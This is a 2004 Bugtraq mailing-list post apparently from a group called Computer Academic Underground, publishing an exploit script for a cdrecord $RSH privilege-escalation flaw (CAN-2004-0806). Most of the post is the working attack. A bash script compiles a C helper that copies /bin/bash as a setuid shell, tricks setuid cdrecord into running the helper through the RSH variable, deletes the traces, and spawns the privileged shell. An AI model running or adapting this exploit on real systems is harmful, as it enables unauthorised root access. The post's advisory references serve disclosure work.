

CAU-EX-2004-0002: cdrecord-suidshell.sh

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2004-09/0108.html>

From: I)ruid (druoid_at_caughq.org)

Date: 09/10/04

To: bugtraq@securityfocus.com

Date: Fri, 10 Sep 2004 10:42:28 -0500

```

-----
/\|\| |
-----#####/\_\##/ \|\##| |##| #####-----
| | | | | | | |
| | _ | _ | | | |
-----#####\ \ /#| |##| |#| |##| #####-----
\ \ / | | | | \ \ \ /

```

Computer Academic Underground

<http://www.caughq.org>

Exploit Code

```

=====
Exploit ID: CAU-EX-2004-0002
Release Date: 09/09/2004
Title: cdrecord-suidshell.sh
Description: cdrecord $RSH exec() SUID Shell Creation
Tested: cdrecord 2.00.3
Attributes: Privileged Access
Exploit URL: http://www.caughq.org/exploits/CAU-EX-2004-0002.txt
Author/Email: I)ruid <druoid@caughq.org>
=====

```

Description

=====

This shell script writes out and compiles a C application which sets its UID to its EUID and copies a SUID shell to the current directory, compiles it, then uses cdrecord's use of the \$RSH environment variable to execute it. It then cleans up its mess and executes the shell for convenience.

Notes

=====

This exploit is written assuming your target shell is bash.

Credits

=====

Max Vozeler is credited with discovering this vulnerability as stated in the Mandrake Linux security advisory MDKSA-2004:091.

References

=====

<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0806>
<http://www.mandrakesecure.net/en/advisories/advisory.php?name=MDKSA-2004:091>

Exploit

=====

```
#!/bin/bash
```

```
#  
# cdrecord-suidshell.sh - I)ruid [CAU] (09.2004)  
#  
# Exploits cdrecord's exec() of $RSH before dropping privs  
#
```

```
cat > ./cpbinbash.c << __EOF__  
#include <stdio.h>  
#include <sys/types.h>  
#include <sys/stat.h>  
#include <fcntl.h>
```

```
main( int argc, char *argv[] ) {  
    int fd1, fd2;  
    int count;  
    char buffer[1];  
  
    /* Set ID's */  
    setuid( geteuid() );  
    setgid( geteuid() );  
  
    /* Copy the shell */  
    if ((fd1=open( "/bin/bash", O_RDONLY))<0)  
        return -1;  
    if ((fd2=open( "./bash", O_WRONLY|O_CREAT))<0)  
        return -1;  
    while((count=read(fd1, buffer, 1)))  
        write(fd2, buffer, count);  
    free(buffer);  
    close( fd1 );  
    close( fd2 );  
  
    /* Priv the shell */  
    chown( "./bash", geteuid(), geteuid() );
```

```
    chmod( "./bash", 3565 );
}
__EOF__

cc ./cpbinbash.c -o ./cpbinbash

# Set up environment
export RSHSAVE=$RSH
export RSH=./cpbinbash

# Sploit
cdrecord dev= REMOTE:CAU:1,0,0 -

# Cleanup
rm cpbinbash*
export RSH=$RSHSAVE
export RSHSAVE=

# Use our suid bash
./bash -p
```

-
- application/pgp-signature attachment: This is a digitally signed message part